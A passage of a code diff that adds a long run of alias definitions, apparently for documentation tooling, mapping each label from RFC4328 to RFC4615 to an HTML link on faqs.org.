+                         "RFC4328=<a href=\"http://www.faqs.org/rfcs/rfc4328.html\">RFC 4328</a>" \
+                         "RFC4329=<a href=\"http://www.faqs.org/rfcs/rfc4329.html\">RFC 4329</a>" \
+                         "RFC4330=<a href=\"http://www.faqs.org/rfcs/rfc4330.html\">RFC 4330</a>" \
+                         "RFC4331=<a href=\"http://www.faqs.org/rfcs/rfc4331.html\">RFC 4331</a>" \
+                         "RFC4332=<a href=\"http://www.faqs.org/rfcs/rfc4332.html\">RFC 4332</a>" \
+                         "RFC4333=<a href=\"http://www.faqs.org/rfcs/rfc4333.html\">RFC 4333</a>" \
+                         "RFC4334=<a href=\"http://www.faqs.org/rfcs/rfc4334.html\">RFC 4334</a>" \
+                         "RFC4335=<a href=\"http://www.faqs.org/rfcs/rfc4335.html\">RFC 4335</a>" \
+                         "RFC4336=<a href=\"http://www.faqs.org/rfcs/rfc4336.html\">RFC 4336</a>" \
+                         "RFC4337=<a href=\"http://www.faqs.org/rfcs/rfc4337.html\">RFC 4337</a>" \
+                         "RFC4338=<a href=\"http://www.faqs.org/rfcs/rfc4338.html\">RFC 4338</a>" \
+                         "RFC4339=<a href=\"http://www.faqs.org/rfcs/rfc4339.html\">RFC 4339</a>" \
+                         "RFC4340=<a href=\"http://www.faqs.org/rfcs/rfc4340.html\">RFC 4340</a>" \
+                         "RFC4341=<a href=\"http://www.faqs.org/rfcs/rfc4341.html\">RFC 4341</a>" \
+                         "RFC4342=<a href=\"http://www.faqs.org/rfcs/rfc4342.html\">RFC 4342</a>" \
+                         "RFC4343=<a href=\"http://www.faqs.org/rfcs/rfc4343.html\">RFC 4343</a>" \
+                         "RFC4344=<a href=\"http://www.faqs.org/rfcs/rfc4344.html\">RFC 4344</a>" \
+                         "RFC4345=<a href=\"http://www.faqs.org/rfcs/rfc4345.html\">RFC 4345</a>" \
+                         "RFC4346=<a href=\"http://www.faqs.org/rfcs/rfc4346.html\">RFC 4346</a>" \
+                         "RFC4347=<a href=\"http://www.faqs.org/rfcs/rfc4347.html\">RFC 4347</a>" \
+                         "RFC4348=<a href=\"http://www.faqs.org/rfcs/rfc4348.html\">RFC 4348</a>" \
+                         "RFC4349=<a href=\"http://www.faqs.org/rfcs/rfc4349.html\">RFC 4349</a>" \
+                         "RFC4350=<a href=\"http://www.faqs.org/rfcs/rfc4350.html\">RFC 4350</a>" \
+                         "RFC4351=<a href=\"http://www.faqs.org/rfcs/rfc4351.html\">RFC 4351</a>" \
+                         "RFC4352=<a href=\"http://www.faqs.org/rfcs/rfc4352.html\">RFC 4352</a>" \
+                         "RFC4353=<a href=\"http://www.faqs.org/rfcs/rfc4353.html\">RFC 4353</a>" \
+                         "RFC4354=<a href=\"http://www.faqs.org/rfcs/rfc4354.html\">RFC 4354</a>" \
+                         "RFC4355=<a href=\"http://www.faqs.org/rfcs/rfc4355.html\">RFC 4355</a>" \
+                         "RFC4356=<a href=\"http://www.faqs.org/rfcs/rfc4356.html\">RFC 4356</a>" \
+                         "RFC4357=<a href=\"http://www.faqs.org/rfcs/rfc4357.html\">RFC 4357</a>" \
+                         "RFC4358=<a href=\"http://www.faqs.org/rfcs/rfc4358.html\">RFC 4358</a>" \
+                         "RFC4359=<a href=\"http://www.faqs.org/rfcs/rfc4359.html\">RFC 4359</a>" \
+                         "RFC4360=<a href=\"http://www.faqs.org/rfcs/rfc4360.html\">RFC 4360</a>" \
+                         "RFC4361=<a href=\"http://www.faqs.org/rfcs/rfc4361.html\">RFC 4361</a>" \
+                         "RFC4362=<a href=\"http://www.faqs.org/rfcs/rfc4362.html\">RFC 4362</a>" \
+                         "RFC4363=<a href=\"http://www.faqs.org/rfcs/rfc4363.html\">RFC 4363</a>" \
+                         "RFC4364=<a href=\"http://www.faqs.org/rfcs/rfc4364.html\">RFC 4364</a>" \
+                         "RFC4365=<a href=\"http://www.faqs.org/rfcs/rfc4365.html\">RFC 4365</a>" \
+                         "RFC4366=<a href=\"http://www.faqs.org/rfcs/rfc4366.html\">RFC 4366</a>" \
+                         "RFC4367=<a href=\"http://www.faqs.org/rfcs/rfc4367.html\">RFC 4367</a>" \
+                         "RFC4368=<a href=\"http://www.faqs.org/rfcs/rfc4368.html\">RFC 4368</a>" \
+                         "RFC4369=<a href=\"http://www.faqs.org/rfcs/rfc4369.html\">RFC 4369</a>" \
+                         "RFC4370=<a href=\"http://www.faqs.org/rfcs/rfc4370.html\">RFC 4370</a>" \
+                         "RFC4371=<a href=\"http://www.faqs.org/rfcs/rfc4371.html\">RFC 4371</a>" \
+                         "RFC4372=<a href=\"http://www.faqs.org/rfcs/rfc4372.html\">RFC 4372</a>" \
+                         "RFC4373=<a href=\"http://www.faqs.org/rfcs/rfc4373.html\">RFC 4373</a>" \
+                         "RFC4374=<a href=\"http://www.faqs.org/rfcs/rfc4374.html\">RFC 4374</a>" \
+                         "RFC4375=<a href=\"http://www.faqs.org/rfcs/rfc4375.html\">RFC 4375</a>" \
+                         "RFC4376=<a href=\"http://www.faqs.org/rfcs/rfc4376.html\">RFC 4376</a>" \
+                         "RFC4377=<a href=\"http://www.faqs.org/rfcs/rfc4377.html\">RFC 4377</a>" \
+                         "RFC4378=<a href=\"http://www.faqs.org/rfcs/rfc4378.html\">RFC 4378</a>" \
+                         "RFC4379=<a href=\"http://www.faqs.org/rfcs/rfc4379.html\">RFC 4379</a>" \
+                         "RFC4380=<a href=\"http://www.faqs.org/rfcs/rfc4380.html\">RFC 4380</a>" \
+                         "RFC4381=<a href=\"http://www.faqs.org/rfcs/rfc4381.html\">RFC 4381</a>" \
+                         "RFC4382=<a href=\"http://www.faqs.org/rfcs/rfc4382.html\">RFC 4382</a>" \
+                         "RFC4383=<a href=\"http://www.faqs.org/rfcs/rfc4383.html\">RFC 4383</a>" \
+                         "RFC4384=<a href=\"http://www.faqs.org/rfcs/rfc4384.html\">RFC 4384</a>" \
+                         "RFC4385=<a href=\"http://www.faqs.org/rfcs/rfc4385.html\">RFC 4385</a>" \
+                         "RFC4386=<a href=\"http://www.faqs.org/rfcs/rfc4386.html\">RFC 4386</a>" \
+                         "RFC4387=<a href=\"http://www.faqs.org/rfcs/rfc4387.html\">RFC 4387</a>" \
+                         "RFC4388=<a href=\"http://www.faqs.org/rfcs/rfc4388.html\">RFC 4388</a>" \
+                         "RFC4389=<a href=\"http://www.faqs.org/rfcs/rfc4389.html\">RFC 4389</a>" \
+                         "RFC4390=<a href=\"http://www.faqs.org/rfcs/rfc4390.html\">RFC 4390</a>" \
+                         "RFC4391=<a href=\"http://www.faqs.org/rfcs/rfc4391.html\">RFC 4391</a>" \
+                         "RFC4392=<a href=\"http://www.faqs.org/rfcs/rfc4392.html\">RFC 4392</a>" \
+                         "RFC4393=<a href=\"http://www.faqs.org/rfcs/rfc4393.html\">RFC 4393</a>" \
+                         "RFC4394=<a href=\"http://www.faqs.org/rfcs/rfc4394.html\">RFC 4394</a>" \
+                         "RFC4395=<a href=\"http://www.faqs.org/rfcs/rfc4395.html\">RFC 4395</a>" \
+                         "RFC4396=<a href=\"http://www.faqs.org/rfcs/rfc4396.html\">RFC 4396</a>" \
+                         "RFC4397=<a href=\"http://www.faqs.org/rfcs/rfc4397.html\">RFC 4397</a>" \
+                         "RFC4398=<a href=\"http://www.faqs.org/rfcs/rfc4398.html\">RFC 4398</a>" \
+                         "RFC4399=<a href=\"http://www.faqs.org/rfcs/rfc4399.html\">RFC 4399</a>" \
+                         "RFC4400=<a href=\"http://www.faqs.org/rfcs/rfc4400.html\">RFC 4400</a>" \
+                         "RFC4401=<a href=\"http://www.faqs.org/rfcs/rfc4401.html\">RFC 4401</a>" \
+                         "RFC4402=<a href=\"http://www.faqs.org/rfcs/rfc4402.html\">RFC 4402</a>" \
+                         "RFC4403=<a href=\"http://www.faqs.org/rfcs/rfc4403.html\">RFC 4403</a>" \
+                         "RFC4404=<a href=\"http://www.faqs.org/rfcs/rfc4404.html\">RFC 4404</a>" \
+                         "RFC4405=<a href=\"http://www.faqs.org/rfcs/rfc4405.html\">RFC 4405</a>" \
+                         "RFC4406=<a href=\"http://www.faqs.org/rfcs/rfc4406.html\">RFC 4406</a>" \
+                         "RFC4407=<a href=\"http://www.faqs.org/rfcs/rfc4407.html\">RFC 4407</a>" \
+                         "RFC4408=<a href=\"http://www.faqs.org/rfcs/rfc4408.html\">RFC 4408</a>" \
+                         "RFC4409=<a href=\"http://www.faqs.org/rfcs/rfc4409.html\">RFC 4409</a>" \
+                         "RFC4410=<a href=\"http://www.faqs.org/rfcs/rfc4410.html\">RFC 4410</a>" \
+                         "RFC4411=<a href=\"http://www.faqs.org/rfcs/rfc4411.html\">RFC 4411</a>" \
+                         "RFC4412=<a href=\"http://www.faqs.org/rfcs/rfc4412.html\">RFC 4412</a>" \
+                         "RFC4413=<a href=\"http://www.faqs.org/rfcs/rfc4413.html\">RFC 4413</a>" \
+                         "RFC4414=<a href=\"http://www.faqs.org/rfcs/rfc4414.html\">RFC 4414</a>" \
+                         "RFC4415=<a href=\"http://www.faqs.org/rfcs/rfc4415.html\">RFC 4415</a>" \
+                         "RFC4416=<a href=\"http://www.faqs.org/rfcs/rfc4416.html\">RFC 4416</a>" \
+                         "RFC4417=<a href=\"http://www.faqs.org/rfcs/rfc4417.html\">RFC 4417</a>" \
+                         "RFC4418=<a href=\"http://www.faqs.org/rfcs/rfc4418.html\">RFC 4418</a>" \
+                         "RFC4419=<a href=\"http://www.faqs.org/rfcs/rfc4419.html\">RFC 4419</a>" \
+                         "RFC4420=<a href=\"http://www.faqs.org/rfcs/rfc4420.html\">RFC 4420</a>" \
+                         "RFC4421=<a href=\"http://www.faqs.org/rfcs/rfc4421.html\">RFC 4421</a>" \
+                         "RFC4422=<a href=\"http://www.faqs.org/rfcs/rfc4422.html\">RFC 4422</a>" \
+                         "RFC4423=<a href=\"http://www.faqs.org/rfcs/rfc4423.html\">RFC 4423</a>" \
+                         "RFC4424=<a href=\"http://www.faqs.org/rfcs/rfc4424.html\">RFC 4424</a>" \
+                         "RFC4425=<a href=\"http://www.faqs.org/rfcs/rfc4425.html\">RFC 4425</a>" \
+                         "RFC4426=<a href=\"http://www.faqs.org/rfcs/rfc4426.html\">RFC 4426</a>" \
+                         "RFC4427=<a href=\"http://www.faqs.org/rfcs/rfc4427.html\">RFC 4427</a>" \
+                         "RFC4428=<a href=\"http://www.faqs.org/rfcs/rfc4428.html\">RFC 4428</a>" \
+                         "RFC4429=<a href=\"http://www.faqs.org/rfcs/rfc4429.html\">RFC 4429</a>" \
+                         "RFC4430=<a href=\"http://www.faqs.org/rfcs/rfc4430.html\">RFC 4430</a>" \
+                         "RFC4431=<a href=\"http://www.faqs.org/rfcs/rfc4431.html\">RFC 4431</a>" \
+                         "RFC4432=<a href=\"http://www.faqs.org/rfcs/rfc4432.html\">RFC 4432</a>" \
+                         "RFC4433=<a href=\"http://www.faqs.org/rfcs/rfc4433.html\">RFC 4433</a>" \
+                         "RFC4434=<a href=\"http://www.faqs.org/rfcs/rfc4434.html\">RFC 4434</a>" \
+                         "RFC4435=<a href=\"http://www.faqs.org/rfcs/rfc4435.html\">RFC 4435</a>" \
+                         "RFC4436=<a href=\"http://www.faqs.org/rfcs/rfc4436.html\">RFC 4436</a>" \
+                         "RFC4437=<a href=\"http://www.faqs.org/rfcs/rfc4437.html\">RFC 4437</a>" \
+                         "RFC4438=<a href=\"http://www.faqs.org/rfcs/rfc4438.html\">RFC 4438</a>" \
+                         "RFC4439=<a href=\"http://www.faqs.org/rfcs/rfc4439.html\">RFC 4439</a>" \
+                         "RFC4440=<a href=\"http://www.faqs.org/rfcs/rfc4440.html\">RFC 4440</a>" \
+                         "RFC4441=<a href=\"http://www.faqs.org/rfcs/rfc4441.html\">RFC 4441</a>" \
+                         "RFC4442=<a href=\"http://www.faqs.org/rfcs/rfc4442.html\">RFC 4442</a>" \
+                         "RFC4443=<a href=\"http://www.faqs.org/rfcs/rfc4443.html\">RFC 4443</a>" \
+                         "RFC4444=<a href=\"http://www.faqs.org/rfcs/rfc4444.html\">RFC 4444</a>" \
+                         "RFC4445=<a href=\"http://www.faqs.org/rfcs/rfc4445.html\">RFC 4445</a>" \
+                         "RFC4446=<a href=\"http://www.faqs.org/rfcs/rfc4446.html\">RFC 4446</a>" \
+                         "RFC4447=<a href=\"http://www.faqs.org/rfcs/rfc4447.html\">RFC 4447</a>" \
+                         "RFC4448=<a href=\"http://www.faqs.org/rfcs/rfc4448.html\">RFC 4448</a>" \
+                         "RFC4449=<a href=\"http://www.faqs.org/rfcs/rfc4449.html\">RFC 4449</a>" \
+                         "RFC4450=<a href=\"http://www.faqs.org/rfcs/rfc4450.html\">RFC 4450</a>" \
+                         "RFC4451=<a href=\"http://www.faqs.org/rfcs/rfc4451.html\">RFC 4451</a>" \
+                         "RFC4452=<a href=\"http://www.faqs.org/rfcs/rfc4452.html\">RFC 4452</a>" \
+                         "RFC4453=<a href=\"http://www.faqs.org/rfcs/rfc4453.html\">RFC 4453</a>" \
+                         "RFC4454=<a href=\"http://www.faqs.org/rfcs/rfc4454.html\">RFC 4454</a>" \
+                         "RFC4455=<a href=\"http://www.faqs.org/rfcs/rfc4455.html\">RFC 4455</a>" \
+                         "RFC4456=<a href=\"http://www.faqs.org/rfcs/rfc4456.html\">RFC 4456</a>" \
+                         "RFC4457=<a href=\"http://www.faqs.org/rfcs/rfc4457.html\">RFC 4457</a>" \
+                         "RFC4458=<a href=\"http://www.faqs.org/rfcs/rfc4458.html\">RFC 4458</a>" \
+                         "RFC4459=<a href=\"http://www.faqs.org/rfcs/rfc4459.html\">RFC 4459</a>" \
+                         "RFC4460=<a href=\"http://www.faqs.org/rfcs/rfc4460.html\">RFC 4460</a>" \
+                         "RFC4461=<a href=\"http://www.faqs.org/rfcs/rfc4461.html\">RFC 4461</a>" \
+                         "RFC4462=<a href=\"http://www.faqs.org/rfcs/rfc4462.html\">RFC 4462</a>" \
+                         "RFC4463=<a href=\"http://www.faqs.org/rfcs/rfc4463.html\">RFC 4463</a>" \
+                         "RFC4464=<a href=\"http://www.faqs.org/rfcs/rfc4464.html\">RFC 4464</a>" \
+                         "RFC4465=<a href=\"http://www.faqs.org/rfcs/rfc4465.html\">RFC 4465</a>" \
+                         "RFC4466=<a href=\"http://www.faqs.org/rfcs/rfc4466.html\">RFC 4466</a>" \
+                         "RFC4467=<a href=\"http://www.faqs.org/rfcs/rfc4467.html\">RFC 4467</a>" \
+                         "RFC4468=<a href=\"http://www.faqs.org/rfcs/rfc4468.html\">RFC 4468</a>" \
+                         "RFC4469=<a href=\"http://www.faqs.org/rfcs/rfc4469.html\">RFC 4469</a>" \
+                         "RFC4470=<a href=\"http://www.faqs.org/rfcs/rfc4470.html\">RFC 4470</a>" \
+                         "RFC4471=<a href=\"http://www.faqs.org/rfcs/rfc4471.html\">RFC 4471</a>" \
+                         "RFC4472=<a href=\"http://www.faqs.org/rfcs/rfc4472.html\">RFC 4472</a>" \
+                         "RFC4473=<a href=\"http://www.faqs.org/rfcs/rfc4473.html\">RFC 4473</a>" \
+                         "RFC4474=<a href=\"http://www.faqs.org/rfcs/rfc4474.html\">RFC 4474</a>" \
+                         "RFC4475=<a href=\"http://www.faqs.org/rfcs/rfc4475.html\">RFC 4475</a>" \
+                         "RFC4476=<a href=\"http://www.faqs.org/rfcs/rfc4476.html\">RFC 4476</a>" \
+                         "RFC4477=<a href=\"http://www.faqs.org/rfcs/rfc4477.html\">RFC 4477</a>" \
+                         "RFC4478=<a href=\"http://www.faqs.org/rfcs/rfc4478.html\">RFC 4478</a>" \
+                         "RFC4479=<a href=\"http://www.faqs.org/rfcs/rfc4479.html\">RFC 4479</a>" \
+                         "RFC4480=<a href=\"http://www.faqs.org/rfcs/rfc4480.html\">RFC 4480</a>" \
+                         "RFC4481=<a href=\"http://www.faqs.org/rfcs/rfc4481.html\">RFC 4481</a>" \
+                         "RFC4482=<a href=\"http://www.faqs.org/rfcs/rfc4482.html\">RFC 4482</a>" \
+                         "RFC4483=<a href=\"http://www.faqs.org/rfcs/rfc4483.html\">RFC 4483</a>" \
+                         "RFC4484=<a href=\"http://www.faqs.org/rfcs/rfc4484.html\">RFC 4484</a>" \
+                         "RFC4485=<a href=\"http://www.faqs.org/rfcs/rfc4485.html\">RFC 4485</a>" \
+                         "RFC4486=<a href=\"http://www.faqs.org/rfcs/rfc4486.html\">RFC 4486</a>" \
+                         "RFC4487=<a href=\"http://www.faqs.org/rfcs/rfc4487.html\">RFC 4487</a>" \
+                         "RFC4488=<a href=\"http://www.faqs.org/rfcs/rfc4488.html\">RFC 4488</a>" \
+                         "RFC4489=<a href=\"http://www.faqs.org/rfcs/rfc4489.html\">RFC 4489</a>" \
+                         "RFC4490=<a href=\"http://www.faqs.org/rfcs/rfc4490.html\">RFC 4490</a>" \
+                         "RFC4491=<a href=\"http://www.faqs.org/rfcs/rfc4491.html\">RFC 4491</a>" \
+                         "RFC4492=<a href=\"http://www.faqs.org/rfcs/rfc4492.html\">RFC 4492</a>" \
+                         "RFC4493=<a href=\"http://www.faqs.org/rfcs/rfc4493.html\">RFC 4493</a>" \
+                         "RFC4494=<a href=\"http://www.faqs.org/rfcs/rfc4494.html\">RFC 4494</a>" \
+                         "RFC4495=<a href=\"http://www.faqs.org/rfcs/rfc4495.html\">RFC 4495</a>" \
+                         "RFC4496=<a href=\"http://www.faqs.org/rfcs/rfc4496.html\">RFC 4496</a>" \
+                         "RFC4497=<a href=\"http://www.faqs.org/rfcs/rfc4497.html\">RFC 4497</a>" \
+                         "RFC4498=<a href=\"http://www.faqs.org/rfcs/rfc4498.html\">RFC 4498</a>" \
+                         "RFC4499=<a href=\"http://www.faqs.org/rfcs/rfc4499.html\">RFC 4499</a>" \
+                         "RFC4500=<a href=\"http://www.faqs.org/rfcs/rfc4500.html\">RFC 4500</a>" \
+                         "RFC4501=<a href=\"http://www.faqs.org/rfcs/rfc4501.html\">RFC 4501</a>" \
+                         "RFC4502=<a href=\"http://www.faqs.org/rfcs/rfc4502.html\">RFC 4502</a>" \
+                         "RFC4503=<a href=\"http://www.faqs.org/rfcs/rfc4503.html\">RFC 4503</a>" \
+                         "RFC4504=<a href=\"http://www.faqs.org/rfcs/rfc4504.html\">RFC 4504</a>" \
+                         "RFC4505=<a href=\"http://www.faqs.org/rfcs/rfc4505.html\">RFC 4505</a>" \
+                         "RFC4506=<a href=\"http://www.faqs.org/rfcs/rfc4506.html\">RFC 4506</a>" \
+                         "RFC4507=<a href=\"http://www.faqs.org/rfcs/rfc4507.html\">RFC 4507</a>" \
+                         "RFC4508=<a href=\"http://www.faqs.org/rfcs/rfc4508.html\">RFC 4508</a>" \
+                         "RFC4509=<a href=\"http://www.faqs.org/rfcs/rfc4509.html\">RFC 4509</a>" \
+                         "RFC4510=<a href=\"http://www.faqs.org/rfcs/rfc4510.html\">RFC 4510</a>" \
+                         "RFC4511=<a href=\"http://www.faqs.org/rfcs/rfc4511.html\">RFC 4511</a>" \
+                         "RFC4512=<a href=\"http://www.faqs.org/rfcs/rfc4512.html\">RFC 4512</a>" \
+                         "RFC4513=<a href=\"http://www.faqs.org/rfcs/rfc4513.html\">RFC 4513</a>" \
+                         "RFC4514=<a href=\"http://www.faqs.org/rfcs/rfc4514.html\">RFC 4514</a>" \
+                         "RFC4515=<a href=\"http://www.faqs.org/rfcs/rfc4515.html\">RFC 4515</a>" \
+                         "RFC4516=<a href=\"http://www.faqs.org/rfcs/rfc4516.html\">RFC 4516</a>" \
+                         "RFC4517=<a href=\"http://www.faqs.org/rfcs/rfc4517.html\">RFC 4517</a>" \
+                         "RFC4518=<a href=\"http://www.faqs.org/rfcs/rfc4518.html\">RFC 4518</a>" \
+                         "RFC4519=<a href=\"http://www.faqs.org/rfcs/rfc4519.html\">RFC 4519</a>" \
+                         "RFC4520=<a href=\"http://www.faqs.org/rfcs/rfc4520.html\">RFC 4520</a>" \
+                         "RFC4521=<a href=\"http://www.faqs.org/rfcs/rfc4521.html\">RFC 4521</a>" \
+                         "RFC4522=<a href=\"http://www.faqs.org/rfcs/rfc4522.html\">RFC 4522</a>" \
+                         "RFC4523=<a href=\"http://www.faqs.org/rfcs/rfc4523.html\">RFC 4523</a>" \
+                         "RFC4524=<a href=\"http://www.faqs.org/rfcs/rfc4524.html\">RFC 4524</a>" \
+                         "RFC4525=<a href=\"http://www.faqs.org/rfcs/rfc4525.html\">RFC 4525</a>" \
+                         "RFC4526=<a href=\"http://www.faqs.org/rfcs/rfc4526.html\">RFC 4526</a>" \
+                         "RFC4527=<a href=\"http://www.faqs.org/rfcs/rfc4527.html\">RFC 4527</a>" \
+                         "RFC4528=<a href=\"http://www.faqs.org/rfcs/rfc4528.html\">RFC 4528</a>" \
+                         "RFC4529=<a href=\"http://www.faqs.org/rfcs/rfc4529.html\">RFC 4529</a>" \
+                         "RFC4530=<a href=\"http://www.faqs.org/rfcs/rfc4530.html\">RFC 4530</a>" \
+                         "RFC4531=<a href=\"http://www.faqs.org/rfcs/rfc4531.html\">RFC 4531</a>" \
+                         "RFC4532=<a href=\"http://www.faqs.org/rfcs/rfc4532.html\">RFC 4532</a>" \
+                         "RFC4533=<a href=\"http://www.faqs.org/rfcs/rfc4533.html\">RFC 4533</a>" \
+                         "RFC4534=<a href=\"http://www.faqs.org/rfcs/rfc4534.html\">RFC 4534</a>" \
+                         "RFC4535=<a href=\"http://www.faqs.org/rfcs/rfc4535.html\">RFC 4535</a>" \
+                         "RFC4536=<a href=\"http://www.faqs.org/rfcs/rfc4536.html\">RFC 4536</a>" \
+                         "RFC4537=<a href=\"http://www.faqs.org/rfcs/rfc4537.html\">RFC 4537</a>" \
+                         "RFC4538=<a href=\"http://www.faqs.org/rfcs/rfc4538.html\">RFC 4538</a>" \
+                         "RFC4539=<a href=\"http://www.faqs.org/rfcs/rfc4539.html\">RFC 4539</a>" \
+                         "RFC4540=<a href=\"http://www.faqs.org/rfcs/rfc4540.html\">RFC 4540</a>" \
+                         "RFC4541=<a href=\"http://www.faqs.org/rfcs/rfc4541.html\">RFC 4541</a>" \
+                         "RFC4542=<a href=\"http://www.faqs.org/rfcs/rfc4542.html\">RFC 4542</a>" \
+                         "RFC4543=<a href=\"http://www.faqs.org/rfcs/rfc4543.html\">RFC 4543</a>" \
+                         "RFC4544=<a href=\"http://www.faqs.org/rfcs/rfc4544.html\">RFC 4544</a>" \
+                         "RFC4545=<a href=\"http://www.faqs.org/rfcs/rfc4545.html\">RFC 4545</a>" \
+                         "RFC4546=<a href=\"http://www.faqs.org/rfcs/rfc4546.html\">RFC 4546</a>" \
+                         "RFC4547=<a href=\"http://www.faqs.org/rfcs/rfc4547.html\">RFC 4547</a>" \
+                         "RFC4548=<a href=\"http://www.faqs.org/rfcs/rfc4548.html\">RFC 4548</a>" \
+                         "RFC4549=<a href=\"http://www.faqs.org/rfcs/rfc4549.html\">RFC 4549</a>" \
+                         "RFC4550=<a href=\"http://www.faqs.org/rfcs/rfc4550.html\">RFC 4550</a>" \
+                         "RFC4551=<a href=\"http://www.faqs.org/rfcs/rfc4551.html\">RFC 4551</a>" \
+                         "RFC4552=<a href=\"http://www.faqs.org/rfcs/rfc4552.html\">RFC 4552</a>" \
+                         "RFC4553=<a href=\"http://www.faqs.org/rfcs/rfc4553.html\">RFC 4553</a>" \
+                         "RFC4554=<a href=\"http://www.faqs.org/rfcs/rfc4554.html\">RFC 4554</a>" \
+                         "RFC4555=<a href=\"http://www.faqs.org/rfcs/rfc4555.html\">RFC 4555</a>" \
+                         "RFC4556=<a href=\"http://www.faqs.org/rfcs/rfc4556.html\">RFC 4556</a>" \
+                         "RFC4557=<a href=\"http://www.faqs.org/rfcs/rfc4557.html\">RFC 4557</a>" \
+                         "RFC4558=<a href=\"http://www.faqs.org/rfcs/rfc4558.html\">RFC 4558</a>" \
+                         "RFC4559=<a href=\"http://www.faqs.org/rfcs/rfc4559.html\">RFC 4559</a>" \
+                         "RFC4560=<a href=\"http://www.faqs.org/rfcs/rfc4560.html\">RFC 4560</a>" \
+                         "RFC4561=<a href=\"http://www.faqs.org/rfcs/rfc4561.html\">RFC 4561</a>" \
+                         "RFC4562=<a href=\"http://www.faqs.org/rfcs/rfc4562.html\">RFC 4562</a>" \
+                         "RFC4563=<a href=\"http://www.faqs.org/rfcs/rfc4563.html\">RFC 4563</a>" \
+                         "RFC4564=<a href=\"http://www.faqs.org/rfcs/rfc4564.html\">RFC 4564</a>" \
+                         "RFC4565=<a href=\"http://www.faqs.org/rfcs/rfc4565.html\">RFC 4565</a>" \
+                         "RFC4566=<a href=\"http://www.faqs.org/rfcs/rfc4566.html\">RFC 4566</a>" \
+                         "RFC4567=<a href=\"http://www.faqs.org/rfcs/rfc4567.html\">RFC 4567</a>" \
+                         "RFC4568=<a href=\"http://www.faqs.org/rfcs/rfc4568.html\">RFC 4568</a>" \
+                         "RFC4569=<a href=\"http://www.faqs.org/rfcs/rfc4569.html\">RFC 4569</a>" \
+                         "RFC4570=<a href=\"http://www.faqs.org/rfcs/rfc4570.html\">RFC 4570</a>" \
+                         "RFC4571=<a href=\"http://www.faqs.org/rfcs/rfc4571.html\">RFC 4571</a>" \
+                         "RFC4572=<a href=\"http://www.faqs.org/rfcs/rfc4572.html\">RFC 4572</a>" \
+                         "RFC4573=<a href=\"http://www.faqs.org/rfcs/rfc4573.html\">RFC 4573</a>" \
+                         "RFC4574=<a href=\"http://www.faqs.org/rfcs/rfc4574.html\">RFC 4574</a>" \
+                         "RFC4575=<a href=\"http://www.faqs.org/rfcs/rfc4575.html\">RFC 4575</a>" \
+                         "RFC4576=<a href=\"http://www.faqs.org/rfcs/rfc4576.html\">RFC 4576</a>" \
+                         "RFC4577=<a href=\"http://www.faqs.org/rfcs/rfc4577.html\">RFC 4577</a>" \
+                         "RFC4578=<a href=\"http://www.faqs.org/rfcs/rfc4578.html\">RFC 4578</a>" \
+                         "RFC4579=<a href=\"http://www.faqs.org/rfcs/rfc4579.html\">RFC 4579</a>" \
+                         "RFC4580=<a href=\"http://www.faqs.org/rfcs/rfc4580.html\">RFC 4580</a>" \
+                         "RFC4581=<a href=\"http://www.faqs.org/rfcs/rfc4581.html\">RFC 4581</a>" \
+                         "RFC4582=<a href=\"http://www.faqs.org/rfcs/rfc4582.html\">RFC 4582</a>" \
+                         "RFC4583=<a href=\"http://www.faqs.org/rfcs/rfc4583.html\">RFC 4583</a>" \
+                         "RFC4584=<a href=\"http://www.faqs.org/rfcs/rfc4584.html\">RFC 4584</a>" \
+                         "RFC4585=<a href=\"http://www.faqs.org/rfcs/rfc4585.html\">RFC 4585</a>" \
+                         "RFC4586=<a href=\"http://www.faqs.org/rfcs/rfc4586.html\">RFC 4586</a>" \
+                         "RFC4587=<a href=\"http://www.faqs.org/rfcs/rfc4587.html\">RFC 4587</a>" \
+                         "RFC4588=<a href=\"http://www.faqs.org/rfcs/rfc4588.html\">RFC 4588</a>" \
+                         "RFC4589=<a href=\"http://www.faqs.org/rfcs/rfc4589.html\">RFC 4589</a>" \
+                         "RFC4590=<a href=\"http://www.faqs.org/rfcs/rfc4590.html\">RFC 4590</a>" \
+                         "RFC4591=<a href=\"http://www.faqs.org/rfcs/rfc4591.html\">RFC 4591</a>" \
+                         "RFC4592=<a href=\"http://www.faqs.org/rfcs/rfc4592.html\">RFC 4592</a>" \
+                         "RFC4593=<a href=\"http://www.faqs.org/rfcs/rfc4593.html\">RFC 4593</a>" \
+                         "RFC4594=<a href=\"http://www.faqs.org/rfcs/rfc4594.html\">RFC 4594</a>" \
+                         "RFC4595=<a href=\"http://www.faqs.org/rfcs/rfc4595.html\">RFC 4595</a>" \
+                         "RFC4596=<a href=\"http://www.faqs.org/rfcs/rfc4596.html\">RFC 4596</a>" \
+                         "RFC4597=<a href=\"http://www.faqs.org/rfcs/rfc4597.html\">RFC 4597</a>" \
+                         "RFC4598=<a href=\"http://www.faqs.org/rfcs/rfc4598.html\">RFC 4598</a>" \
+                         "RFC4599=<a href=\"http://www.faqs.org/rfcs/rfc4599.html\">RFC 4599</a>" \
+                         "RFC4600=<a href=\"http://www.faqs.org/rfcs/rfc4600.html\">RFC 4600</a>" \
+                         "RFC4601=<a href=\"http://www.faqs.org/rfcs/rfc4601.html\">RFC 4601</a>" \
+                         "RFC4602=<a href=\"http://www.faqs.org/rfcs/rfc4602.html\">RFC 4602</a>" \
+                         "RFC4603=<a href=\"http://www.faqs.org/rfcs/rfc4603.html\">RFC 4603</a>" \
+                         "RFC4604=<a href=\"http://www.faqs.org/rfcs/rfc4604.html\">RFC 4604</a>" \
+                         "RFC4605=<a href=\"http://www.faqs.org/rfcs/rfc4605.html\">RFC 4605</a>" \
+                         "RFC4606=<a href=\"http://www.faqs.org/rfcs/rfc4606.html\">RFC 4606</a>" \
+                         "RFC4607=<a href=\"http://www.faqs.org/rfcs/rfc4607.html\">RFC 4607</a>" \
+                         "RFC4608=<a href=\"http://www.faqs.org/rfcs/rfc4608.html\">RFC 4608</a>" \
+                         "RFC4609=<a href=\"http://www.faqs.org/rfcs/rfc4609.html\">RFC 4609</a>" \
+                         "RFC4610=<a href=\"http://www.faqs.org/rfcs/rfc4610.html\">RFC 4610</a>" \
+                         "RFC4611=<a href=\"http://www.faqs.org/rfcs/rfc4611.html\">RFC 4611</a>" \
+                         "RFC4612=<a href=\"http://www.faqs.org/rfcs/rfc4612.html\">RFC 4612</a>" \
+                         "RFC4613=<a href=\"http://www.faqs.org/rfcs/rfc4613.html\">RFC 4613</a>" \
+                         "RFC4614=<a href=\"http://www.faqs.org/rfcs/rfc4614.html\">RFC 4614</a>" \
+                         "RFC4615=<a href=\"http://www.faqs.org/rfcs/rfc4615.html\">RFC 4615</a>" \
